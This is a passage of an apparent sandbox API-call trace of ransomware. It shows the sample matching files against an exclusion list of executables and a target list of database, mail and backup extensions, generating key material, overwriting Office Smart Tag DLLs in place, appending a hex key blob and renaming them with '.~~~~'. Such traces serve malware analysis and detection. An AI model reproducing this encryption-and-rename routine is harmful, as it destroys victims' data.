	[0082.177] lstrlenW (lpString=".DB") returned 3
	[0082.177] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FPERSON.DLL", lpSrch=".DB") returned 0x0
	[0082.177] lstrlenW (lpString=".sql") returned 4
	[0082.177] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FPERSON.DLL", lpSrch=".sql") returned 0x0
	[0082.177] lstrlenW (lpString=".MYD") returned 4
	[0082.177] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FPERSON.DLL", lpSrch=".MYD") returned 0x0
	[0082.177] lstrlenW (lpString=".DBT") returned 4
	[0082.177] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FPERSON.DLL", lpSrch=".DBT") returned 0x0
	[0082.177] lstrlenW (lpString=".ACCDB") returned 6
	[0082.177] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FPERSON.DLL", lpSrch=".ACCDB") returned 0x0
	[0082.177] lstrlenW (lpString=".fdb") returned 4
	[0082.177] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FPERSON.DLL", lpSrch=".fdb") returned 0x0
	[0082.177] lstrlenW (lpString=".bak") returned 4
	[0082.177] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FPERSON.DLL", lpSrch=".bak") returned 0x0
	[0082.177] lstrlenW (lpString=".myd") returned 4
	[0082.177] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FPERSON.DLL", lpSrch=".myd") returned 0x0
	[0082.177] lstrlenW (lpString=".DTXS") returned 5
	[0082.177] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FPERSON.DLL", lpSrch=".DTXS") returned 0x0
	[0082.177] lstrlenW (lpString=".ckp") returned 4
	[0082.177] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FPERSON.DLL", lpSrch=".ckp") returned 0x0
	[0082.177] lstrlenW (lpString=".dbt") returned 4
	[0082.177] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FPERSON.DLL", lpSrch=".dbt") returned 0x0
	[0082.178] lstrlenW (lpString=".db") returned 3
	[0082.178] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FPERSON.DLL", lpSrch=".db") returned 0x0
	[0082.178] lstrlenW (lpString=".TXT") returned 4
	[0082.178] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FPERSON.DLL", lpSrch=".TXT") returned 0x0
	[0082.178] lstrlenW (lpString=".MDF") returned 4
	[0082.178] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FPERSON.DLL", lpSrch=".MDF") returned 0x0
	[0082.178] lstrlenW (lpString=".bdb") returned 4
	[0082.178] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FPERSON.DLL", lpSrch=".bdb") returned 0x0
	[0082.178] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0082.178] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FPERSON.DLL", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0082.178] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x28045a8
	[0082.178] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f90
	[0082.178] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x39fe28) returned 1
	[0082.179] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0082.179] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
	[0082.179] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0082.179] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0082.179] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2802fd0
	[0082.179] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=20216938480) returned 1
	[0082.179] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0x9ad38710, dwHighDateTime=0x1d60e1e)) 
	[0082.179] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623c0
	[0082.179] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0082.179] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0082.180] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a36b8
	[0082.180] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0082.180] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a36b8 | out: hHeap=0x300000) returned 1
	[0082.180] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0082.180] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0082.180] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x38da10
	[0082.180] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0082.180] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x27fc118
	[0082.180] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x38da10 | out: hHeap=0x300000) returned 1
	[0082.180] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0082.180] GetLastError () returned 0x0
	[0082.180] GetLastError () returned 0x0
	[0082.180] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0082.180] GetLastError () returned 0x0
	[0082.180] GetLastError () returned 0x0
	[0082.181] ReadFile (in: hFile=0x120, lpBuffer=0x280bfd0, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x280bfd0*, lpNumberOfBytesRead=0x24dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0082.276] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0082.276] WriteFile (in: hFile=0x120, lpBuffer=0x280bfd0*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x280bfd0*, lpNumberOfBytesWritten=0x24dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0082.277] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x280bfd0 | out: hHeap=0x300000) returned 1
	[0082.279] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0082.279] WriteFile (in: hFile=0x120, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0082.464] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0082.464] WriteFile (in: hFile=0x120, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0082.464] CloseHandle (hObject=0x120) returned 1
	[0082.464] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e82c0
	[0082.464] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FPERSON.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\fperson.dll"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FPERSON.DLL.~~~~" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\fperson.dll.~~~~")) returned 1
	[0082.465] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e82c0 | out: hHeap=0x300000) returned 1
	[0082.465] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0082.465] GetLastError () returned 0x0
	[0082.465] RtlWakeConditionVariable () returned 0x365f70
	[0082.465] GetCurrentThreadId () returned 0x3a4
	[0082.465] GetCurrentThreadId () returned 0x3a4
	[0082.466] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x27fc118
	[0082.466] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fc5d8 | out: hHeap=0x300000) returned 1
	[0082.466] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a3338 | out: hHeap=0x300000) returned 1
	[0082.466] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x27fc5d8
	[0082.466] lstrlenW (lpString=".scr") returned 4
	[0082.466] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MOFL.DLL", lpSrch=".scr") returned 0x0
	[0082.466] lstrlenW (lpString=".cmd") returned 4
	[0082.466] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MOFL.DLL", lpSrch=".cmd") returned 0x0
	[0082.466] lstrlenW (lpString=".dll") returned 4
	[0082.466] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MOFL.DLL", lpSrch=".dll") returned 0x0
	[0082.466] lstrlenW (lpString=".bat") returned 4
	[0082.466] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MOFL.DLL", lpSrch=".bat") returned 0x0
	[0082.466] lstrlenW (lpString=".cpl") returned 4
	[0082.466] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MOFL.DLL", lpSrch=".cpl") returned 0x0
	[0082.466] lstrlenW (lpString=".sys") returned 4
	[0082.466] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MOFL.DLL", lpSrch=".sys") returned 0x0
	[0082.466] lstrlenW (lpString=".msc") returned 4
	[0082.466] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MOFL.DLL", lpSrch=".msc") returned 0x0
	[0082.466] lstrlenW (lpString=".com") returned 4
	[0082.466] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MOFL.DLL", lpSrch=".com") returned 0x0
	[0082.466] lstrlenW (lpString=".lnk") returned 4
	[0082.466] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MOFL.DLL", lpSrch=".lnk") returned 0x0
	[0082.466] lstrlenW (lpString=".msp") returned 4
	[0082.466] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MOFL.DLL", lpSrch=".msp") returned 0x0
	[0082.466] lstrlenW (lpString=".pif") returned 4
	[0082.466] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MOFL.DLL", lpSrch=".pif") returned 0x0
	[0082.467] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0082.467] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MOFL.DLL", lpSrch="msp\r\n.pif") returned 0x0
	[0082.467] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MOFL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\mofl.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130
	[0082.673] lstrlenW (lpString=".sqb") returned 4
	[0082.673] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MOFL.DLL", lpSrch=".sqb") returned 0x0
	[0082.673] lstrlenW (lpString=".ost") returned 4
	[0082.673] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MOFL.DLL", lpSrch=".ost") returned 0x0
	[0082.674] lstrlenW (lpString=".txt") returned 4
	[0082.674] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MOFL.DLL", lpSrch=".txt") returned 0x0
	[0082.674] lstrlenW (lpString=".mdt") returned 4
	[0082.674] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MOFL.DLL", lpSrch=".mdt") returned 0x0
	[0082.674] lstrlenW (lpString=".BDB") returned 4
	[0082.674] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MOFL.DLL", lpSrch=".BDB") returned 0x0
	[0082.674] lstrlenW (lpString=".eql") returned 4
	[0082.674] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MOFL.DLL", lpSrch=".eql") returned 0x0
	[0082.674] lstrlenW (lpString=".DBF") returned 4
	[0082.674] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MOFL.DLL", lpSrch=".DBF") returned 0x0
	[0082.674] lstrlenW (lpString=".EQL") returned 4
	[0082.674] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MOFL.DLL", lpSrch=".EQL") returned 0x0
	[0082.674] lstrlenW (lpString=".FDB") returned 4
	[0082.674] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MOFL.DLL", lpSrch=".FDB") returned 0x0
	[0082.674] lstrlenW (lpString=".EDB") returned 4
	[0082.674] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MOFL.DLL", lpSrch=".EDB") returned 0x0
	[0082.674] lstrlenW (lpString=".DACPAC") returned 7
	[0082.674] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MOFL.DLL", lpSrch=".DACPAC") returned 0x0
	[0082.674] lstrlenW (lpString=".VHD") returned 4
	[0082.674] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MOFL.DLL", lpSrch=".VHD") returned 0x0
	[0082.674] lstrlenW (lpString=".DBV") returned 4
	[0082.674] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MOFL.DLL", lpSrch=".DBV") returned 0x0
	[0082.674] lstrlenW (lpString=".dacpac") returned 7
	[0082.674] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MOFL.DLL", lpSrch=".dacpac") returned 0x0
	[0082.674] lstrlenW (lpString=".sdf") returned 4
	[0082.674] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MOFL.DLL", lpSrch=".sdf") returned 0x0
	[0082.674] lstrlenW (lpString=".accdb") returned 6
	[0082.674] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MOFL.DLL", lpSrch=".accdb") returned 0x0
	[0082.675] lstrlenW (lpString=".DBX") returned 4
	[0082.675] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MOFL.DLL", lpSrch=".DBX") returned 0x0
	[0082.675] lstrlenW (lpString=".MDT") returned 4
	[0082.675] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MOFL.DLL", lpSrch=".MDT") returned 0x0
	[0082.675] lstrlenW (lpString=".SQB") returned 4
	[0082.675] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MOFL.DLL", lpSrch=".SQB") returned 0x0
	[0082.675] lstrlenW (lpString=".vhd") returned 4
	[0082.675] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MOFL.DLL", lpSrch=".vhd") returned 0x0
	[0082.675] lstrlenW (lpString=".bac") returned 4
	[0082.675] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MOFL.DLL", lpSrch=".bac") returned 0x0
	[0082.675] lstrlenW (lpString=".mdf") returned 4
	[0082.675] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MOFL.DLL", lpSrch=".mdf") returned 0x0
	[0082.675] lstrlenW (lpString=".BAK") returned 4
	[0082.675] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MOFL.DLL", lpSrch=".BAK") returned 0x0
	[0082.675] lstrlenW (lpString=".BAC") returned 4
	[0082.675] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MOFL.DLL", lpSrch=".BAC") returned 0x0
	[0082.675] lstrlenW (lpString=".dbs") returned 4
	[0082.675] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MOFL.DLL", lpSrch=".dbs") returned 0x0
	[0082.675] lstrlenW (lpString=".vhdx") returned 5
	[0082.675] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MOFL.DLL", lpSrch=".vhdx") returned 0x0
	[0082.675] lstrlenW (lpString=".NDF") returned 4
	[0082.675] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MOFL.DLL", lpSrch=".NDF") returned 0x0
	[0082.675] lstrlenW (lpString=".dat") returned 4
	[0082.675] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MOFL.DLL", lpSrch=".dat") returned 0x0
	[0082.675] lstrlenW (lpString=".DBS") returned 4
	[0082.675] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MOFL.DLL", lpSrch=".DBS") returned 0x0
	[0082.676] lstrlenW (lpString=".CKP") returned 4
	[0082.676] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MOFL.DLL", lpSrch=".CKP") returned 0x0
	[0082.676] lstrlenW (lpString=".edb") returned 4
	[0082.676] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MOFL.DLL", lpSrch=".edb") returned 0x0
	[0082.676] lstrlenW (lpString=".PST") returned 4
	[0082.676] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MOFL.DLL", lpSrch=".PST") returned 0x0
	[0082.676] lstrlenW (lpString=".dbf") returned 4
	[0082.676] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MOFL.DLL", lpSrch=".dbf") returned 0x0
	[0082.676] lstrlenW (lpString=".SQL") returned 4
	[0082.676] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MOFL.DLL", lpSrch=".SQL") returned 0x0
	[0082.676] lstrlenW (lpString=".pst") returned 4
	[0082.676] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MOFL.DLL", lpSrch=".pst") returned 0x0
	[0082.676] lstrlenW (lpString=".dbv") returned 4
	[0082.676] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MOFL.DLL", lpSrch=".dbv") returned 0x0
	[0082.676] lstrlenW (lpString=".SDF") returned 4
	[0082.676] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MOFL.DLL", lpSrch=".SDF") returned 0x0
	[0082.676] lstrlenW (lpString=".dtxs") returned 5
	[0082.676] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MOFL.DLL", lpSrch=".dtxs") returned 0x0
	[0082.676] lstrlenW (lpString=".db3") returned 4
	[0082.676] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MOFL.DLL", lpSrch=".db3") returned 0x0
	[0082.676] lstrlenW (lpString=".OST") returned 4
	[0082.676] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MOFL.DLL", lpSrch=".OST") returned 0x0
	[0082.676] lstrlenW (lpString=".dbx") returned 4
	[0082.676] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MOFL.DLL", lpSrch=".dbx") returned 0x0
	[0082.676] lstrlenW (lpString=".DB3") returned 4
	[0082.676] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MOFL.DLL", lpSrch=".DB3") returned 0x0
	[0082.676] lstrlenW (lpString=".DAT") returned 4
	[0082.677] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MOFL.DLL", lpSrch=".DAT") returned 0x0
	[0082.677] lstrlenW (lpString=".VHDX") returned 5
	[0082.677] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MOFL.DLL", lpSrch=".VHDX") returned 0x0
	[0082.677] lstrlenW (lpString=".ndf") returned 4
	[0082.677] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MOFL.DLL", lpSrch=".ndf") returned 0x0
	[0082.677] lstrlenW (lpString=".DB") returned 3
	[0082.677] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MOFL.DLL", lpSrch=".DB") returned 0x0
	[0082.677] lstrlenW (lpString=".sql") returned 4
	[0082.677] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MOFL.DLL", lpSrch=".sql") returned 0x0
	[0082.677] lstrlenW (lpString=".MYD") returned 4
	[0082.677] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MOFL.DLL", lpSrch=".MYD") returned 0x0
	[0082.677] lstrlenW (lpString=".DBT") returned 4
	[0082.677] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MOFL.DLL", lpSrch=".DBT") returned 0x0
	[0082.677] lstrlenW (lpString=".ACCDB") returned 6
	[0082.677] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MOFL.DLL", lpSrch=".ACCDB") returned 0x0
	[0082.677] lstrlenW (lpString=".fdb") returned 4
	[0082.677] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MOFL.DLL", lpSrch=".fdb") returned 0x0
	[0082.677] lstrlenW (lpString=".bak") returned 4
	[0082.677] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MOFL.DLL", lpSrch=".bak") returned 0x0
	[0082.677] lstrlenW (lpString=".myd") returned 4
	[0082.677] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MOFL.DLL", lpSrch=".myd") returned 0x0
	[0082.677] lstrlenW (lpString=".DTXS") returned 5
	[0082.677] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MOFL.DLL", lpSrch=".DTXS") returned 0x0
	[0082.677] lstrlenW (lpString=".ckp") returned 4
	[0082.677] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MOFL.DLL", lpSrch=".ckp") returned 0x0
	[0082.677] lstrlenW (lpString=".dbt") returned 4
	[0082.677] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MOFL.DLL", lpSrch=".dbt") returned 0x0
	[0082.678] lstrlenW (lpString=".db") returned 3
	[0082.678] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MOFL.DLL", lpSrch=".db") returned 0x0
	[0082.678] lstrlenW (lpString=".TXT") returned 4
	[0082.678] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MOFL.DLL", lpSrch=".TXT") returned 0x0
	[0082.678] lstrlenW (lpString=".MDF") returned 4
	[0082.678] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MOFL.DLL", lpSrch=".MDF") returned 0x0
	[0082.678] lstrlenW (lpString=".bdb") returned 4
	[0082.678] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MOFL.DLL", lpSrch=".bdb") returned 0x0
	[0082.678] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0082.678] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MOFL.DLL", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0082.678] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2804200
	[0082.678] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f90
	[0082.678] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x39fe28) returned 1
	[0082.679] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0082.679] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
	[0082.679] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0082.679] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0082.679] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2802fd0
	[0082.679] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=20266949595) returned 1
	[0082.679] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0x9b1fb310, dwHighDateTime=0x1d60e1e)) 
